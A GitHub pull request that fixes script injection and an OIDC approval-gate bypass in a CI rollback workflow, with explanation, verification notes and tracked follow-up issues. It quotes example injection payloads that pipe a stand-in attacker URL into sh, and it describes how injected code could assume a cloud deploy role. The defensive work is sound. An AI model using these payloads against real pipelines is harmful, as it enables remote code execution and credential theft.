fix(ci): stop interpolating dispatch inputs into rollback run blocks - #1641
Conversation
`.github/workflows/rollback.yml` substituted the free-text `reason` and
`image_tag` workflow_dispatch inputs directly into `run:` blocks. GitHub
expands `${{ inputs.* }}` into the shell source before bash parses it, so
a reason of `$(curl -s https://attacker/x | sh)` executed as code. The
audit-record step was the worst case: an unquoted `cat <<EOF` heredoc, in
which command substitution ran inside the JSON body.
The workflow also declared `permissions: id-token: write` at workflow
level, so `validate`, `verify-image` and `summary` held it despite having
no `environment:` binding. Because the AWS deploy role's trust policy
accepts `repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code in one of those jobs could mint an
OIDC token and assume the deploy role without passing the reviewer gate
that protects the `rollback-*` jobs.
Changes:
- Pass every input through `env:` and reference the quoted shell variable,
so values are data rather than code. No `${{ }}` remains in any `run:`
block in this file.
- Build the audit record with `jq -n --arg` instead of a heredoc, so every
value is JSON-escaped and no command substitution is possible.
- Drop `id-token: write` to job level, granting it only to the four
environment-bound `rollback-*` jobs. `validate` and `summary` are now
`contents: read`.
- Delete the `verify-image` job, which authenticated to a cloud provider
with no environment binding, and inline its check into each gated
rollback job.
- Make `image_tag` validation meaningful: the regex now runs against a
shell variable rather than a value already pasted into the script, and
a bad tag fails the job instead of setting an `is_valid` output.
- Fail loud on unset `AWS_ACCOUNT_ID` / `GCP_PROJECT_ID` rather than
building an image URI around an empty string, and add `set -euo
pipefail` to the run blocks.
- Look Azure tags up with `az acr repository show --image` instead of
grepping paginated `show-tags` output through a pipe that `pipefail`
could fail on a match.
- Fold newlines out of `reason` before writing it to the step summary, so
it cannot forge headings or a fake result line in the rendered markdown.
Verified with `actionlint` (with shellcheck available): the pre-change
file exits 1, the updated file exits 0.
Closes #1542
|
Warning Review limit reachedYou’ve reached a temporary PR review limit under our Fair Usage Limits Policy. Next review available in: 41 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. Review details⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (2)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
|
@coderabbitai review |
✅ Action performedReview finished.
|
|
@coderabbitai full review |
✅ Action performedFull review finished. Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 54 minutes. |
The workflows README still listed "Verify Image" as one of four rollback jobs. That job no longer exists: it authenticated to a cloud provider while carrying no environment binding, so its check now runs inside each gated rollback job instead. Renumber to three jobs and state the tradeoff, so the next reader does not reinstate a standalone verify job to "fix" the ordering.
|
@coderabbitai full review |
✅ Action performedFull review finished. Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 41 minutes. |
Closes #1542
Both claims in the issue were live on current
origin/main(3e9660d)(a) Script injection — confirmed.
${{ inputs.reason }}and${{ inputs.image_tag }}(both free-texttype: stringdispatch inputs) were substituted into the shell source ofrun:blocks before bash parsed them. Theimage_tagregex guard was itself post-interpolation, so it validated nothing.(b) Approval-gate bypass — confirmed, and the mechanism is worse than "no environment on
validate/summary".permissions: id-token: writesat at workflow level, and the deletedverify-imagejob actively calledconfigure-aws-credentials/azure/login/google-github-actions/authwhile having noenvironment:binding. Its OIDC subject wasrepo:<org/repo>:ref:refs/heads/main, whichterraform/environments/aws/ci-cd-permissions/role.tf:29accepts independently of theenvironment:*subjects. So injected code ran in a job that legitimately held production deploy credentials and never touched a reviewer gate.What this PR does and does not fix — read this before trusting the gate
The issue described two controls. Only the first is restored here, and I am not claiming otherwise.
${{ }}remain in anyrun:block (11 before). Verified by parsing the YAML and by executing the real run-blocks against hostile payloads.id-token: writeis now narrowed onto four environment-bound jobs, which is the correct shape. But those environments have no protection rules, so nothing approves anything.The narrowing is still worth doing: it is the precondition for a gate to mean anything, and it removes the ungated-but-credentialed job the exploit relied on. It is simply not, by itself, an approval control.
No environment in this repo has any protection rules, none of the four
<cloud>-<env>-rollbackenvironments exists, and GitHub auto-creates a referenced environment bare on first use. The environments literally namedazure-andgcp-are evidence that auto-create has already fired here, when an${{ inputs.environment }}rendered empty. Filed as #1660.So: the p0 in #1542 — arbitrary code execution reaching production cloud credentials — is dead. The reviewer gate is a separate, previously-unnoticed gap that this PR surfaces rather than closes.
Proof the injection is gone
Before, in
Record rollback(the site the issue calls worst):After:
Reproduced locally with
reason=$(echo RCE > /tmp/marker)against faithful copies of both the heredoc site and theDisplay rollback planif-block: before — marker created in both; after — no marker, the value is printed as literal text and lands in the JSON as a string.Why the new form cannot execute: the value never appears in the script's source text. It arrives as a process environment variable, and
"$REASON"is a quoted parameter expansion — bash performs no further parsing on the result, so metacharacters,$(...)and newlines are all inert data.jq --arglikewise binds the value as a JSON string rather than splicing it into a document.One honesty note on the issue's example payload:
"; curl evil.sh | sh; #works at the heredoc and most other sites, but at theif [ -n "..." ]site the]-terminating form leaves the compound command unparseable, so bash aborts before executing. Command substitution ($(...)) is the vector that works at every site, including that one. The severity is unchanged.A scripted scan confirms zero
${{ }}expressions remain inside anyrun:block in this file. Every other input reference was audited, not justreason.Changes
env:, referenced as a quoted shell variable.jq -n --arginstead of an unquoted heredoc.id-token: writedropped to job level, granted only to the four environment-boundrollback-*jobs;validateandsummaryarecontents: read.verify-imagedeleted (it was the ungated credentialed job); its check inlined into each gated rollback job.image_tagregex now runs against a shell variable, and a bad tag fails the job rather than setting anis_validoutput that a later job had to remember to honour.AWS_ACCOUNT_ID/GCP_PROJECT_IDinstead of building an image URI around an empty string;set -euo pipefailthroughout.az acr repository show --imageinstead of grepping paginatedshow-tagsthrough a pipe (show-tagscan page a valid older tag off the first page, and underpipefailan earlygrep -qexit can SIGPIPEazand fail the check on a match).reasonnewlines folded before writing to$GITHUB_STEP_SUMMARY, which renders as markdown and could otherwise be made to forge a fake "Rollback completed successfully" line. The audit JSON keeps the value verbatim.Verification
actionlint(shellcheck available) on pre-change fileactionlinton updated file${{ }}inside anyrun:blockactwas not run; no dry run is claimed.Why existing scanning missed this
Nothing in this repo parses workflow files for this class. There is no
actionlintorzizmorin CI or in.pre-commit-config.yaml. The Security Scanning job runsgovulncheckandgosec, both Go-source scanners that never open.github/workflows/.trivy-configtargets Terraform/Dockerfile/K8s misconfiguration, not Actions expression injection, and thecheck-yamlhook only proves the YAML parses. Addingactionlintto pre-commit would have caught this at write time — filed as #1646.Deliberately out of scope — all tracked as issues
Every item below is filed, so none of it is lost when this PR merges.
attribute_conditiongap: it constrainsassertion.repositoryandassertion.refbut neversub, so unlike AWS/Azure a GCP token mints for any environment name, including an auto-created bare one.deploy-aws-lambda.ymlhad the identical shape viagithub.event.release.tag_namein an ungatedpreparejob. Fixed in PR #1657.database-migration.ymlinterpolatesinputs.stepsraw behind a guard that validates nothing. Latent, not demonstrated — the injection sits in an environment-bound job and reachability depends ontype: numberenforcement I could not confirm.<cloud>-<env>-rollbackenvironments absent from the trust-policysuballowlists, so AWS and Azure rollback cannot authenticate at all. Pre-existing, not introduced here — the original carried the same bindings. Azure is worse than AWS:sp.tf:37,48allowlists onlyref:refs/heads/mainandpull_request, noenvironment:*subject at all.id-token: writeto ungated jobs;deploy-gcpanddeploy-azurebuild-and-deployactually authenticate while ungated. No injectable value, so hardening not exploit.describe-imageswith no--registry-id) while building the URI fromvars.AWS_ACCOUNT_ID. If those diverge, "image exists" is asserted against the wrong registry. One-line fix.actionlint/zizmorin CI or pre-commit — the systemic reason this whole class was invisible. 8 workflow files currently failactionlint.Two points noted on existing issues rather than duplicated:
repo:<org/repo>:ref:refs/heads/main. No job in this workflow is ungated-and-credentialed any more, so the bypass is closed here. Removing that subject repo-wide would breakdeploy-gcp,cleanup-staginganddestroy-fargate-dev— commented on sec(ci): destroy and rollback workflows have no environment binding, so no reviewer gate applies #1591.verify-imagevar-interpolation cleanup; this PR deletes that job outright, commented there.Accepted tradeoff
Image existence is now verified inside each gated rollback job instead of in a standalone job, so a rollback to a nonexistent tag fails after the environment approval rather than before it. That is deliberate: the standalone job authenticated to a cloud provider with no environment binding, which was the ungated-but-credentialed shape the exploit depended on. Documented in the workflow at
:165-169and now in.github/workflows/README.md, which still listed the deleted "Verify Image" as one of four jobs.Sweep coverage
All 16 files in
.github/workflows/were swept, not just the one being fixed:inputs.*,github.event.*,github.head_ref,github.ref_name,github.actor, and the dangerous triggerspull_request_target/issue_comment/workflow_run;actionlintwithshellcheckpresent;Results: no
pull_request_target,issue_commentorworkflow_runtrigger exists anywhere in this repo, so the untrusted-fork vector is absent.github.actorreachesrun:blocks in the four deploy workflows, but GitHub usernames are[A-Za-z0-9-]and are not injectable. The three genuine findings are #1542 (this PR), #1649 and #1647.What was not done: I did not read every
run:block of every workflow line by line — files with no grep hit and a cleanactionlintwere not manually reviewed.Files outside
.github/workflows/rollback.ymlare untouched, so this does not overlap #1543 / #1544 / #1545.